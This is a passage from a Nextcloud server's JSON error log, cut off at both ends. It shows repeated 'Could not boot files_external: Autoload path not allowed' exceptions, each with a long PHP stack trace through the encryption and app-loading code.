entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1010,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"jHR5eKj0ZUQpqIdAGS0h","level":4,"time":"2022-11-09T12:56:06+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/spreed/api/v4/room","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"28V1WbbmAegqYnNZpAl3","level":4,"time":"2022-11-09T12:56:07+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/ocs/v2.php/apps/notifications/api/v2/notifications","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/ocs/v1.php","line":56,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/ocs/v2.php","line":23,"args":["/var/www/html/ocs/v1.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"8753Ph99EUnzeF9RbENx","level":4,"time":"2022-11-09T12:56:09+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/css/icons/icons-vars.css?v=1667998530","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps